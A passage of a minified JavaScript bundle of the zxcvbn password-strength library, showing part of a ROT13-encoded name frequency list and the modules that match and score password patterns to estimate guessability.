,enl,wbry,rqjva,qba,rqqvr,evpxl,gebl,enaqnyy,oneel,oreaneq,znevb,yrebl,senapvfpb,znephf,zvpurny,gurbqber,pyvssbeq,zvthry,bfpne,wnl,wvz,gbz,pnyiva,nyrk,wba,ebaavr,ovyy,yyblq,gbzzl,yrba,qrerx,qneeryy,wrebzr,syblq,yrb,nyiva,gvz,jrfyrl,qrna,tert,wbetr,qhfgva,crqeb,qreevpx,qna,mnpunel,pberl,urezna,znhevpr,ireaba,eboregb,pylqr,tyra,urpgbe,funar,evpneqb,fnz,evpx,yrfgre,oerag,enzba,glyre,tvyoreg,trar,znep,ertvanyq,ehora,oergg,angunavry,ensnry,rqtne,zvygba,enhy,ora,prpvy,qhnar,naqer,ryzre,oenq,tnoevry,eba,ebynaq,wnerq,nqevna,xney,pbel,pynhqr,revx,qneely,arvy,puevfgvna,wnivre,sreanaqb,pyvagba,grq,zngurj,glebar,qneera,ybaavr,ynapr,pbql,whyvb,xheg,nyyna,pynlgba,uhtu,znk,qjnlar,qjvtug,neznaqb,sryvk,wvzzvr,rirergg,vna,xra,obo,wnvzr,pnfrl,nyserqb,nyoregb,qnir,vina,wbuaavr,fvqarl,oleba,whyvna,vfnnp,pyvsgba,jvyyneq,qnely,ivetvy,naql,fnyinqbe,xvex,fretvb,frgu,xrag,greenapr,erar,rqhneqb,greerapr,raevdhr,serqqvr,fghneg,serqevpx,negheb,nyrwnaqeb,wbrl,avpx,yhgure,jraqryy,wrerzvnu,rina,whyvhf,qbaavr,bgvf,geribe,yhxr,ubzre,treneq,qbht,xraal,uhoreg,natryb,funha,ylyr,zngg,nysbafb,beynaqb,erk,pneygba,rearfgb,cnoyb,yberamb,bzne,jvyohe,oynxr,ubenpr,ebqrevpx,xreel,noenunz,evpxrl,ven,naqerf,prfne,wbuanguna,znypbyz,ehqbycu,qnzba,xryiva,ehql,cerfgba,nygba,nepuvr,znepb,crgr,enaqbycu,tneel,trbsserl,wbanguba,sryvcr,oraavr,treneqb,qbzvavp,ybera,qryoreg,pbyva,thvyyrezb,rnearfg,oraal,abry,ebqbysb,zleba,rqzhaq,fnyingber,prqevp,ybjryy,tertt,furezna,qriva,flyirfgre,ebbfriryg,vfenry,wreznvar,sbeerfg,jvyoreg,yrynaq,fvzba,veivat,bjra,ehshf,jbbqebj,fnzzl,xevfgbcure,yriv,znepbf,thfgnib,wnxr,yvbary,znegl,tvyoregb,pyvag,avpbynf,ynherapr,vfznry,beivyyr,qerj,reiva,qrjrl,jvyserq,wbfu,uhtb,vtanpvb,pnyro,gbznf,furyqba,revpx,senaxvr,qneery,ebtryvb,grerapr,nybamb,ryvnf,oreg,ryoreg,enzveb,pbaenq,abnu,tenql,cuvy,pbearyvhf,ynzne,ebynaqb,pynl,crepl,oenqsbeq,zreyr,qneva,nzbf,greeryy,zbfrf,veiva,fnhy,ebzna,qnearyy,enaqny,gbzzvr,gvzzl,qneeva,oeraqna,gbol,ina,nory,qbzvavpx,rzvyvb,ryvwnu,pnel,qbzvatb,nhoerl,rzzrgg,zneyba,rznahry,wrenyq,rqzbaq,rzvy,qrjnlar,bggb,grqql,erlanyqb,oerg,wrff,gerag,uhzoregb,rzznahry,fgrcuna,ybhvr,ivpragr,ynzbag,tneynaq,zvpnu,rsenva,urngu,ebqtre,qrzrgevhf,rguna,ryqba,ebpxl,cvreer,ryv,oelpr,nagbvar,eboovr,xraqnyy,eblpr,fgreyvat,tebire,rygba,pyrirynaq,qlyna,puhpx,qnzvna,erhora,fgna,yrbaneqb,ehffry,rejva,oravgb,unaf,zbagr,oynvar,reavr,pheg,dhragva,nthfgva,wnzny,qriba,nqbysb,glfba,jvyserqb,oneg,wneebq,inapr,qravf,qnzvra,wbndhva,uneyna,qrfzbaq,ryyvbg,qnejva,tertbevb,xrezvg,ebfpbr,rfgrona,nagba,fbybzba,abeoreg,ryiva,abyna,pnerl,ebq,dhvagba,uny,oenva,ebo,ryjbbq,xraqevpx,qnevhf,zbvfrf,zneyva,svqry,gunqqrhf,pyvss,znepry,nyv,encunry,oelba,neznaq,nyineb,wrssel,qnar,wbrfcu,guhezna,arq,fnzzvr,ehfgl,zvpury,zbagl,ebel,snovna,erttvr,xevf,vfnvnu,thf,nirel,yblq,qvrtb,nqbycu,zvyyneq,ebppb,tbamnyb,qrevpx,ebqevtb,treel,evtboregb,nycubafb,evpxvr,abr,irea,ryivf,oreaneqb,znhevpvb,uvenz,qbabina,onfvy,avpxbynf,fpbg,ivapr,dhvapl,rqql,fronfgvna,srqrevpb,hylffrf,urevoregb,qbaaryy,qraal,tniva,rzrel,ebzrb,wnlfba,qvba,qnagr,pyrzrag,pbl,bqryy,wneivf,oehab,vffnp,qhqyrl,fnasbeq,pbyol,pnezryb,arfgbe,ubyyvf,fgrsna,qbaal,yvajbbq,ornh,jryqba,tnyra,vfvqeb,gehzna,qryzne,wbuanguba,fvynf,serqrevp,vejva,zreevyy,puneyrl,znepryvab,pneyb,geragba,xhegvf,nheryvb,jvaserq,ivgb,pbyyva,qraire,yrbary,rzbel,cnfdhnyr,zbunzznq,znevnab,qnavny,ynaqba,qvex,oenaqra,nqna,ahzoref,pynve,ohsbeq,oreavr,jvyzre,rzrefba,mnpurel,wnpdhrf,reeby,wbfhr,rqjneqb,jvysbeq,gureba,enlzhaqb,qnera,gevfgna,ebool,yvapbya,wnzr,traneb,bpgnivb,pbearyy,uhat,neeba,nagbal,urefpury,nyin,tvbinaav,tnegu,plehf,plevy,ebaal,fgrivr,yba,xraavgu,pnezvar,nhthfgvar,revpu,punqjvpx,jvyohea,ehff,zlyrf,wbanf,zvgpury,zreiva,mnar,wnzry,ynmneb,nycubafr,enaqryy,wbuavr,wneergg,nevry,noqhy,qhfgl,yhpvnab,frlzbhe,fpbggvr,rhtravb,zbunzzrq,neahysb,yhpvra,sreqvanaq,gunq,rmen,nyqb,ehova,zvgpu,rneyr,nor,znedhvf,ynaal,xnerrz,wnzne,obevf,vfvnu,rzvyr,ryzb,neba,yrbcbyqb,rirerggr,wbfrs,rybl,qbevna,ebqevpx,ervanyqb,yhpvb,wreebq,jrfgba,urefury,yrzhry,ynirea,oheg,whyrf,tvy,ryvfrb,nuznq,avtry,rsera,nagjna,nyqra,znetnevgb,ershtvb,qvab,bfinyqb,yrf,qrnaqer,abeznaq,xvrgu,vibel,gerl,abeoregb,ancbyrba,wrebyq,sevgm,ebfraqb,zvysbeq,fnat,qrba,puevfgbcre,nysbamb,ylzna,wbfvnu,oenag,jvygba,evpb,wnznny,qrjvgg,oeragba,lbat,byva,snhfgvab,pynhqvb,whqfba,tvab,rqtneqb,nyrp,wneerq,qbaa,gevavqnq,gnq,cbesvevb,bqvf,yraneq,punhaprl,gbq,zry,znepryb,xbel,nhthfghf,xrira,uvynevb,ohq,fny,beiny,znheb,qnaavr,mnpunevnu,byra,navony,zvyb,wrq,gunau,nznqb,yraal,gbel,evpuvr,ubenpvb,oevpr,zbunzrq,qryzre,qnevb,znp,wbanu,wreebyq,ebog,unax,fhat,ehcreg,ebyynaq,xragba,qnzvba,puv,nagbar,jnyqb,serqevp,oenqyl,xvc,ohey,glerr,wrssrerl,nuzrq,jvyyl,fgnasbeq,bera,zbfur,zvxry,rabpu,oeraqba,dhvagva,wnzvfba,syberapvb,qneevpx,gbovnf,zvau,unffna,tvhfrccr,qrznephf,pyrghf,gleryy,ylaqba,xrrana,jreare,gurb,trenyqb,pbyhzohf,purg,oregenz,znexhf,uhrl,uvygba,qjnva,qbagr,gleba,bzre,vfnvnf,uvcbyvgb,srezva,puhat,nqnyoregb,wnzrl,grbqbeb,zpxvayrl,znkvzb,enyrvtu,ynjrerapr,noenz,enfunq,rzzvgg,qneba,pubat,fnzhny,bgun,zvdhry,rhfrovb,qbat,qbzravp,qneeba,jvyore,erangb,ublg,unljbbq,rmrxvry,punf,syberagvab,ryebl,pyrzragr,neqra,arivyyr,rqvfba,qrfunja,pneeby,funlar,angunavny,wbeqba,qnavyb,pynhq,furejbbq,enlzba,enlsbeq,pevfgbony,nzoebfr,gvghf,ulzna,srygba,rmrdhvry,renfzb,ybaal,zvyna,yvab,wnebq,ureo,naqernf,eurgg,whqr,qbhtynff,pbeqryy,bfjnyqb,ryyfjbegu,ivetvyvb,gbarl,angunanry,orarqvpg,zbfr,ubat,vferny,tneerg,snhfgb,neyra,mnpx,zbqrfgb,senaprfpb,znahny,tnlybeq,tnfgba,svyvoregb,qrnatryb,zvpunyr,tenaivyyr,znyvx,mnpxnel,ghna,avpxl,pevfgbcure,nagvbar,znypbz,xberl,wbfcru,pbygba,jnlyba,ubfrn,funq,fnagb,ehqbys,ebys,eranyqb,znepryyhf,yhpvhf,xevfgbsre,uneynaq,neabyqb,ehrora,yrnaqeb,xenvt,wreeryy,wrebzl,uboreg,prqevpx,neyvr,jvasbeq,jnyyl,yhvtv,xrargu,wnpvagb,tenvt,senaxyla,rqzhaqb,yrvs,wrenzl,jvyyvna,ivapramb,fuba,zvpuny,ylajbbq,wrer,ryqra,qneryy,oebqrevpx,nybafb".split(",")},module.exports=frequency_lists; },{}],4:[function(require,module,exports){ var feedback,matching,rot_13,scoring,time,time_estimates,zxcvbn;matching=require("./matching"),scoring=require("./scoring"),time_estimates=require("./time_estimates"),feedback=require("./feedback"),time=function(){return(new Date).getTime()},rot_13=function(e){return e.replace(/[a-zA-Z]/g,function(e){return String.fromCharCode((e<="Z"?90:122)>=(e=e.charCodeAt(0)+13)?e:e-26)})},zxcvbn=function(e,t){var i,r,n,c,a,s,m,o,u,g,_;for(null==t&&(t=[]),g=time(),u=[],n=0,c=t.length;n<c;n++)i=t[n],"string"!=(m=typeof i)&&"number"!==m&&"boolean"!==m||u.push(rot_13(i.toString().toLowerCase()));matching.set_user_input_dictionary(u),a=matching.omnimatch(e),o=scoring.most_guessable_match_sequence(e,a),o.calc_time=time()-g,r=time_estimates.estimate_attack_times(o.guesses);for(s in r)_=r[s],o[s]=_;return o.feedback=feedback.get_feedback(o.score,o.sequence),o},module.exports=zxcvbn; },{"./feedback":2,"./matching":5,"./scoring":6,"./time_estimates":7}],5:[function(require,module,exports){ var DATE_MAX_YEAR,DATE_MIN_YEAR,DATE_SPLITS,GRAPHS,L33T_TABLE,RANKED_DICTIONARIES,REGEXEN,adjacency_graphs,build_ranked_dict,frequency_lists,lst,matching,name,rot_13,scoring;frequency_lists=require("./frequency_lists"),adjacency_graphs=require("./adjacency_graphs"),scoring=require("./scoring"),rot_13=function(e){return e.replace(/[a-zA-Z]/g,function(e){return String.fromCharCode((e<="Z"?90:122)>=(e=e.charCodeAt(0)+13)?e:e-26)})},build_ranked_dict=function(e){var t,n,r,i,a;for(i={},t=1,r=0,n=e.length;r<n;r++)a=e[r],i[a]=t,t+=1;return i},RANKED_DICTIONARIES={};for(name in frequency_lists)lst=frequency_lists[name],RANKED_DICTIONARIES[name]=build_ranked_dict(lst);GRAPHS={qwerty:adjacency_graphs.qwerty,dvorak:adjacency_graphs.dvorak,keypad:adjacency_graphs.keypad,mac_keypad:adjacency_graphs.mac_keypad},L33T_TABLE={a:["4","@"],b:["8"],c:["(","{","[","<"],e:["3"],g:["6","9"],i:["1","!","|"],l:["1","|","7"],o:["0"],s:["$","5"],t:["+","7"],x:["%"],z:["2"]},REGEXEN={recent_year:/19\d\d|200\d|201\d/g},DATE_MAX_YEAR=2050,DATE_MIN_YEAR=1e3,DATE_SPLITS={4:[[1,2],[2,3]],5:[[1,3],[2,3]],6:[[1,2],[2,4],[4,5]],7:[[1,3],[2,3],[4,5],[4,6]],8:[[2,4],[4,6]]},matching={empty:function(e){var t;return 0===function(){var n;n=[];for(t in e)n.push(t);return n}().length},extend:function(e,t){return e.push.apply(e,t)},translate:function(e,t){var n;return function(){var r,i,a,s;for(a=e.split(""),s=[],i=0,r=a.length;i<r;i++)n=a[i],s.push(t[n]||n);return s}().join("")},mod:function(e,t){return(e%t+t)%t},sorted:function(e){return e.sort(function(e,t){return e.i-t.i||e.j-t.j})},omnimatch:function(e){var t,n,r,i,a;for(i=[],r=[this.dictionary_match,this.reverse_dictionary_match,this.l33t_match,this.spatial_match,this.repeat_match,this.sequence_match,this.regex_match,this.date_match],a=0,t=r.length;a<t;a++)n=r[a],this.extend(i,n.call(this,e));return this.sorted(i)},dictionary_match:function(e,t){var n,r,i,a,s,o,h,u,c,l,_,f,d,p;null==t&&(t=RANKED_DICTIONARIES),s=[],a=e.length,u=e.toLowerCase(),u=rot_13(u);for(n in t)for(l=t[n],r=o=0,_=a;0<=_?o<_:o>_;r=0<=_?++o:--o)for(i=h=f=r,d=a;f<=d?h<d:h>d;i=f<=d?++h:--h)u.slice(r,+i+1||9e9)in l&&(p=u.slice(r,+i+1||9e9),c=l[p],s.push({pattern:"dictionary",i:r,j:i,token:e.slice(r,+i+1||9e9),matched_word:rot_13(p),rank:c,dictionary_name:n,reversed:!1,l33t:!1}));return this.sorted(s)},reverse_dictionary_match:function(e,t){var n,r,i,a,s,o;for(null==t&&(t=RANKED_DICTIONARIES),o=e.split("").reverse().join(""),i=this.dictionary_match(o,t),a=0,n=i.length;a<n;a++)r=i[a],r.token=r.token.split("").reverse().join(""),r.reversed=!0,s=[e.length-1-r.j,e.length-1-r.i],r.i=s[0],r.j=s[1];return this.sorted(i)},set_user_input_dictionary:function(e){return RANKED_DICTIONARIES.user_inputs=build_ranked_dict(e.slice())},relevant_l33t_subtable:function(e,t){var n,r,i,a,s,o,h,u,c,l;for(s={},o=e.split(""),a=0,r=o.length;a<r;a++)n=o[a],s[n]=!0;l={};for(i in t)c=t[i],h=function(){var e,t,n;for(n=[],t=0,e=c.length;t<e;t++)u=c[t],u in s&&n.push(u);return n}(),h.length>0&&(l[i]=h);return l},enumerate_l33t_subs:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p;a=function(){var t;t=[];for(i in e)t.push(i);return t}(),p=[[]],n=function(e){var t,n,r,a,s,o,h,u;for(n=[],s={},o=0,a=e.length;o<a;o++)h=e[o],t=function(){var e,t,n;for(n=[],u=t=0,e=h.length;t<e;u=++t)i=h[u],n.push([i,u]);return n}(),t.sort(),r=function(){var e,n,r;for(r=[],u=n=0,e=t.length;n<e;u=++n)i=t[u],r.push(i+","+u);return r}().join("-"),r in s||(s[r]=!0,n.push(h));return n},r=function(t){var i,a,s,o,h,u,c,l,_,f,d,g,m,A,E,y;if(t.length){for(a=t[0],m=t.slice(1),c=[],d=e[a],l=0,h=d.length;l<h;l++)for(o=d[l],_=0,u=p.length;_<u;_++){for(A=p[_],i=-1,s=f=0,g=A.length;0<=g?f<g:f>g;s=0<=g?++f:--f)if(A[s][0]===o){i=s;break}i===-1?(y=A.concat([[o,a]]),c.push(y)):(E=A.slice(0),E.splice(i,1),E.push([o,a]),c.push(A),c.push(E))}return p=n(c),r(m)}},r(a),d=[];for(u=0,o=p.length;u<o;u++){for(_=p[u],f={},c=0,h=_.length;c<h;c++)l=_[c],s=l[0],t=l[1],f[s]=t;d.push(f)}return d},l33t_match:function(e,t,n){var r,i,a,s,o,h,u,c,l,_,f,d,p,g,m,A;for(null==t&&(t=RANKED_DICTIONARIES),null==n&&(n=L33T_TABLE),u=[],_=this.enumerate_l33t_subs(this.relevant_l33t_subtable(e,n)),c=0,a=_.length;c<a&&(d=_[c],!this.empty(d));c++)for(g=this.translate(e,d),f=this.dictionary_match(g,t),l=0,s=f.length;l<s;l++)if(o=f[l],m=e.slice(o.i,+o.j+1||9e9),m.toLowerCase()!==o.matched_word){h={};for(p in d)r=d[p],m.indexOf(p)!==-1&&(h[p]=r);o.l33t=!0,o.token=m,o.sub=h,o.sub_display=function(){var e;e=[];for(i in h)A=h[i],e.push(i+" -> "+A);return e}().join(", "),u.push(o)}return this.sorted(u.filter(function(e){return e.token.length>1}))},spatial_match:function(e,t){var n,r,i;null==t&&(t=GRAPHS),i=[];for(r in t)n=t[r],this.extend(i,this.spatial_match_helper(e,n,r));return this.sorted(i)},SHIFTED_RX:/[~!@#$%^&*()_+QWERTYUIOP{}|ASDFGHJKL:"ZXCVBNM<>?]/,spatial_match_helper:function(e,t,n){var r,i,a,s,o,h,u,c,l,_,f,d,p,g,m;for(f=[],u=0;u<e.length-1;)for(c=u+1,l=null,m=0,g="qwerty"!==n&&"dvorak"!==n||!this.SHIFTED_RX.exec(e.charAt(u))?0:1;;){if(p=e.charAt(c-1),o=!1,h=-1,s=-1,i=t[p]||[],c<e.length)for(a=e.charAt(c),d=0,_=i.length;d<_;d++)if(r=i[d],s+=1,r&&r.indexOf(a)!==-1){o=!0,h=s,1===r.indexOf(a)&&(g+=1),l!==h&&(m+=1,l=h);break}if(!o){c-u>2&&f.push({pattern:"spatial",i:u,j:c-1,token:e.slice(u,c),graph:n,turns:m,shifted_count:g}),u=c;break}c+=1}return f},repeat_match:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p;for(d=[],a=/(.+)\1+/g,c=/(.+?)\1+/g,l=/^(.+?)\1+$/,u=0;u<e.length&&(a.lastIndex=c.lastIndex=u,s=a.exec(e),_=c.exec(e),null!=s);)s[0].length>_[0].length?(f=s,i=l.exec(f[0])[1]):(f=_,i=f[1]),p=[f.index,f.index+f[0].length-1],o=p[0],h=p[1],t=scoring.most_guessable_match_sequence(i,this.omnimatch(i)),r=t.sequence,n=t.guesses,d.push({pattern:"repeat",i:o,j:h,token:f[0],base_token:i,base_guesses:n,base_matches:r,repeat_count:f[0].length/i.length}),u=h+1;return d},MAX_DELTA:5,sequence_match:function(e){var t,n,r,i,a,s,o,h,u;if(1===e.length)return[];for(u=function(t){return function(n,r,i){var a,s,o,u;if((r-n>1||1===Math.abs(i))&&0<(a=Math.abs(i))&&a<=t.MAX_DELTA)return u=e.slice(n,+r+1||9e9),/^[a-z]+$/.test(u)?(s="lower",o=26):/^[A-Z]+$/.test(u)?(s="upper",o=26):/^\d+$/.test(u)?(s="digits",o=10):(s="unicode",o=26),h.push({pattern:"sequence",i:n,j:r,token:e.slice(n,+r+1||9e9),sequence_name:s,sequence_space:o,ascending:i>0})}}(this),h=[],n=0,a=null,i=s=1,o=e.length;1<=o?s<o:s>o;i=1<=o?++s:--s)t=e.charCodeAt(i)-e.charCodeAt(i-1),null==a&&(a=t),t!==a&&(r=i-1,u(n,r,a),n=r,a=t);return u(n,e.length-1,a),h},regex_match:function(e,t){var n,r,i,a;null==t&&(t=REGEXEN),n=[];for(name in t)for(r=t[name],r.lastIndex=0;i=r.exec(e);)a=i[0],n.push({pattern:"regex",token:a,i:i.index,j:i.index+i[0].length-1,regex_name:name,regex_match:i});return this.sorted(n)},date_match:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p,g,m,A,E,y,v,I,R,T,D,k,x,j,b,N,S,q,C,L;for(_=[],f=/^\d{4,8}$/,d=/^(\d{1,4})([\s\/\\_.-])(\d{1,2})\2(\d{1,4})$/,s=m=0,v=e.length-4;0<=v?m<=v:m>=v;s=0<=v?++m:--m)for(o=A=I=s+3,R=s+7;(I<=R?A<=R:A>=R)&&!(o>=e.length);o=I<=R?++A:--A)if(L=e.slice(s,+o+1||9e9),f.exec(L)){for(r=[],T=DATE_SPLITS[L.length],E=0,c=T.length;E<c;E++)D=T[E],h=D[0],u=D[1],a=this.map_ints_to_dmy([parseInt(L.slice(0,h)),parseInt(L.slice(h,u)),parseInt(L.slice(u))]),null!=a&&r.push(a);if(r.length>0){for(t=r[0],p=function(e){return Math.abs(e.year-scoring.REFERENCE_YEAR)},g=p(r[0]),k=r.slice(1),y=0,l=k.length;y<l;y++)n=k[y],i=p(n),i<g&&(x=[n,i],t=x[0],g=x[1]);_.push({pattern:"date",token:L,i:s,j:o,separator:"",year:t.year,month:t.month,day:t.day})}}for(s=q=0,j=e.length-6;0<=j?q<=j:q>=j;s=0<=j?++q:--q)for(o=C=b=s+5,N=s+9;(b<=N?C<=N:C>=N)&&!(o>=e.length);o=b<=N?++C:--C)L=e.slice(s,+o+1||9e9),S=d.exec(L),null!=S&&(a=this.map_ints_to_dmy([parseInt(S[1]),parseInt(S[3]),parseInt(S[4])]),null!=a&&_.push({pattern:"date",token:L,i:s,j:o,separator:S[2],year:a.year,month:a.month,day:a.day}));return this.sorted(_.filter(function(e){var t,n,r,i;for(t=!1,i=0,n=_.length;i<n;i++)if(r=_[i],e!==r&&r.i<=e.i&&r.j>=e.j){t=!0;break}return!t}))},map_ints_to_dmy:function(e){var t,n,r,i,a,s,o,h,u,c,l,_,f,d,p,g;if(!(e[1]>31||e[1]<=0)){for(o=0,h=0,p=0,s=0,r=e.length;s<r;s++){if(n=e[s],99<n&&n<DATE_MIN_YEAR||n>DATE_MAX_YEAR)return;n>31&&(h+=1),n>12&&(o+=1),n<=0&&(p+=1)}if(!(h>=2||3===o||p>=2)){for(c=[[e[2],e.slice(0,2)],[e[0],e.slice(1,3)]],u=0,i=c.length;u<i;u++)if(_=c[u],g=_[0],d=_[1],DATE_MIN_YEAR<=g&&g<=DATE_MAX_YEAR)return t=this.map_ints_to_dm(d),null!=t?{year:g,month:t.month,day:t.day}:void 0;for(l=0,a=c.length;l<a;l++)if(f=c[l],g=f[0],d=f[1],t=this.map_ints_to_dm(d),null!=t)return g=this.two_to_four_digit_year(g),{year:g,month:t.month,day:t.day}}}},map_ints_to_dm:function(e){var t,n,r,i,a,s;for(a=[e,e.slice().reverse()],i=0,n=a.length;i<n;i++)if(s=a[i],t=s[0],r=s[1],1<=t&&t<=31&&1<=r&&r<=12)return{day:t,month:r}},two_to_four_digit_year:function(e){return e>99?e:e>50?e+1900:e+2e3}},module.exports=matching; },{"./adjacency_graphs":1,"./frequency_lists":3,"./scoring":6}],6:[function(require,module,exports){ var BRUTEFORCE_CARDINALITY,MIN_GUESSES_BEFORE_GROWING_SEQUENCE,MIN_SUBMATCH_GUESSES_MULTI_CHAR,MIN_SUBMATCH_GUESSES_SINGLE_CHAR,adjacency_graphs,calc_average_degree,k,scoring,v;adjacency_graphs=require("./adjacency_graphs"),calc_average_degree=function(e){var t,r,n,s,a,u;t=0;for(n in e)a=e[n],t+=function(){var e,t,r;for(r=[],t=0,e=a.length;t<e;t++)s=a[t],s&&r.push(s);return r}().length;return t/=function(){var t;t=[];for(r in e)u=e[r],t.push(r);return t}().length},BRUTEFORCE_CARDINALITY=10,MIN_GUESSES_BEFORE_GROWING_SEQUENCE=1e4,MIN_SUBMATCH_GUESSES_SINGLE_CHAR=10,MIN_SUBMATCH_GUESSES_MULTI_CHAR=50,scoring={nCk:function(e,t){var r,n,s,a;if(t>e)return 0;if(0===t)return 1;for(s=1,r=n=1,a=t;1<=a?n<=a:n>=a;r=1<=a?++n:--n)s*=e,s/=r,e-=1;return s},log10:function(e){return Math.log(e)/Math.log(10)},log2:function(e){return Math.log(e)/Math.log(2)},factorial:function(e){var t,r,n,s;if(e<2)return 1;for(t=1,r=n=2,s=e;2<=s?n<=s:n>=s;r=2<=s?++n:--n)t*=r;return t},most_guessable_match_sequence:function(e,t,r){var n,s,a,u,i,_,o,h,E,c,g,f,l,A,S,p,R,I,v,M,N,C,T,U;for(null==r&&(r=!1),l=e.length,f=function(){var e,t,r;for(r=[],n=e=0,t=l;0<=t?e<t:e>t;n=0<=t?++e:--e)r.push([]);return r}(),A=0,_=t.length;A<_;A++)c=t[A],f[c.j].push(c);for(I=0,o=f.length;I<o;I++)E=f[I],E.sort(function(e,t){return e.i-t.i});for(S={m:function(){var e,t,r;for(t=[],n=r=0,e=l;0<=e?r<e:r>e;n=0<=e?++r:--r)t.push({});return t}(),pi:function(){var e,t,r;for(t=[],n=r=0,e=l;0<=e?r<e:r>e;n=0<=e?++r:--r)t.push({});return t}(),g:function(){var e,t,r;for(t=[],n=r=0,e=l;0<=e?r<e:r>e;n=0<=e?++r:--r)t.push({});return t}()},T=function(t){return function(n,s){var a,u,i,_,o,h;_=n.j,o=t.estimate_guesses(n,e),s>1&&(o*=S.pi[n.i-1][s-1]),i=t.factorial(s)*o,r||(i+=Math.pow(MIN_GUESSES_BEFORE_GROWING_SEQUENCE,s-1)),h=S.g[_];for(u in h)if(a=h[u],!(u>s)&&a<=i)return;return S.g[_][s]=i,S.m[_][s]=n,S.pi[_][s]=o}}(this),s=function(e){return function(e){var t,r,n,s,a,u;for(c=g(0,e),T(c,1),a=[],t=u=1,s=e;1<=s?u<=s:u>=s;t=1<=s?++u:--u)c=g(t,e),a.push(function(){var e,s;e=S.m[t-1],s=[];for(r in e)n=e[r],r=parseInt(r),"bruteforce"!==n.pattern&&s.push(T(c,r+1));return s}());return a}}(this),g=function(t){return function(t,r){return{pattern:"bruteforce",token:e.slice(t,+r+1||9e9),i:t,j:r}}}(this),C=function(e){return function(e){var t,r,n,s,a,u,i;u=[],s=e-1,a=void 0,n=Infinity,i=S.g[s];for(r in i)t=i[r],t<n&&(a=r,n=t);for(;s>=0;)c=S.m[s][a],u.unshift(c),s=c.i-1,a--;return u}}(this),u=N=0,v=l;0<=v?N<v:N>v;u=0<=v?++N:--N){for(M=f[u],U=0,h=M.length;U<h;U++)if(c=M[U],c.i>0)for(i in S.m[c.i-1])i=parseInt(i),T(c,i+1);else T(c,1);s(u)}return R=C(l),p=R.length,a=0===e.length?1:S.g[l-1][p],{password:e,guesses:a,guesses_log10:this.log10(a),sequence:R}},estimate_guesses:function(e,t){var r,n,s;return null!=e.guesses?e.guesses:(s=1,e.token.length<t.length&&(s=1===e.token.length?MIN_SUBMATCH_GUESSES_SINGLE_CHAR:MIN_SUBMATCH_GUESSES_MULTI_CHAR),r={bruteforce:this.bruteforce_guesses,dictionary:this.dictionary_guesses,spatial:this.spatial_guesses,repeat:this.repeat_guesses,sequence:this.sequence_guesses,regex:this.regex_guesses,date:this.date_guesses},n=r[e.pattern].call(this,e),e.guesses=Math.max(n,s),e.guesses_log10=this.log10(e.guesses),e.guesses)},bruteforce_guesses:function(e){var t,r;return t=Math.pow(BRUTEFORCE_CARDINALITY,e.token.length),t===Number.POSITIVE_INFINITY&&(t=Number.MAX_VALUE),r=1===e.token.length?MIN_SUBMATCH_GUESSES_SINGLE_CHAR+1:MIN_SUBMATCH_GUESSES_MULTI_CHAR+1,Math.max(t,r)},repeat_guesses:function(e){return e.base_guesses*e.repeat_count},sequence_guesses:function(e){var t,r;return r=e.token.charAt(0),t="a"===r||"A"===r||"z"===r||"Z"===r||"0"===r||"1"===r||"9"===r?4:r.match(/\d/)?10:26,e.ascending||(t*=2),t*e.token.length},MIN_YEAR_SPACE:20,REFERENCE_YEAR:2016,regex_guesses:function(e){var t,r;if(t={alpha_lower:26,alpha_upper:26,alpha:52,alphanumeric:62,digits:10,symbols:33},e.regex_name in t)return Math.pow(t[e.regex_name],e.token.length);switch(e.regex_name){case"recent_year":return r=Math.abs(parseInt(e.regex_match[0])-this.REFERENCE_YEAR),r=Math.max(r,this.MIN_YEAR_SPACE)}},date_guesses:function(e){var t,r;return r=Math.max(Math.abs(e.year-this.REFERENCE_YEAR),this.MIN_YEAR_SPACE),t=365*r,e.separator&&(t*=4),t},KEYBOARD_AVERAGE_DEGREE:calc_average_degree(adjacency_graphs.qwerty),KEYPAD_AVERAGE_DEGREE:calc_average_degree(adjacency_graphs.keypad),KEYBOARD_STARTING_POSITIONS:function(){var e,t;e=adjacency_graphs.qwerty,t=[];for(k in e)v=e[k],t.push(k);return t}().length,KEYPAD_STARTING_POSITIONS:function(){var e,t;e=adjacency_graphs.keypad,t=[];for(k in e)v=e[k],t.push(k);return t}().length,spatial_guesses:function(e){var t,r,n,s,a,u,i,_,o,h,E,c,g,f,l,A,S,p;for("qwerty"===(E=e.graph)||"dvorak"===E?(l=this.KEYBOARD_STARTING_POSITIONS,s=this.KEYBOARD_AVERAGE_DEGREE):(l=this.KEYPAD_STARTING_POSITIONS,s=this.KEYPAD_AVERAGE_DEGREE),a=0,t=e.token.length,S=e.turns,u=_=2,c=t;2<=c?_<=c:_>=c;u=2<=c?++_:--_)for(o=Math.min(S,u-1),i=h=1,g=o;1<=g?h<=g:h>=g;i=1<=g?++h:--h)a+=this.nCk(u-1,i-1)*l*Math.pow(s,i);if(e.shifted_count)if(r=e.shifted_count,n=e.token.length-e.shifted_count,0===r||0===n)a*=2;else{for(A=0,u=p=1,f=Math.min(r,n);1<=f?p<=f:p>=f;u=1<=f?++p:--p)A+=this.nCk(r+n,u);a*=A}return a},dictionary_guesses:function(e){var t;return e.base_guesses=e.rank,e.uppercase_variations=this.uppercase_variations(e),e.l33t_variations=this.l33t_variations(e),t=e.reversed&&2||1,e.base_guesses*e.uppercase_variations*e.l33t_variations*t},START_UPPER:/^[A-Z][^A-Z]+$/,END_UPPER:/^[^A-Z]+[A-Z]$/,ALL_UPPER:/^[^a-z]+$/,ALL_LOWER:/^[^A-Z]+$/,uppercase_variations:function(e){var t,r,n,s,a,u,i,_,o,h,E,c;if(c=e.token,c.match(this.ALL_LOWER)||c.toLowerCase()===c)return 1;for(_=[this.START_UPPER,this.END_UPPER,this.ALL_UPPER],u=0,a=_.length;u<a;u++)if(h=_[u],c.match(h))return 2;for(r=function(){var e,t,r,s;for(r=c.split(""),s=[],t=0,e=r.length;t<e;t++)n=r[t],n.match(/[A-Z]/)&&s.push(n);return s}().length,t=function(){var e,t,r,s;for(r=c.split(""),s=[],t=0,e=r.length;t<e;t++)n=r[t],n.match(/[a-z]/)&&s.push(n);return s}().length,E=0,s=i=1,o=Math.min(r,t);1<=o?i<=o:i>=o;s=1<=o?++i:--i)E+=this.nCk(r+t,s);return E},l33t_variations:function(e){var t,r,n,s,a,u,i,_,o,h,E,c,g;if(!e.l33t)return 1;g=1,o=e.sub;for(E in o)if(c=o[E],s=e.token.toLowerCase().split(""),t=function(){var 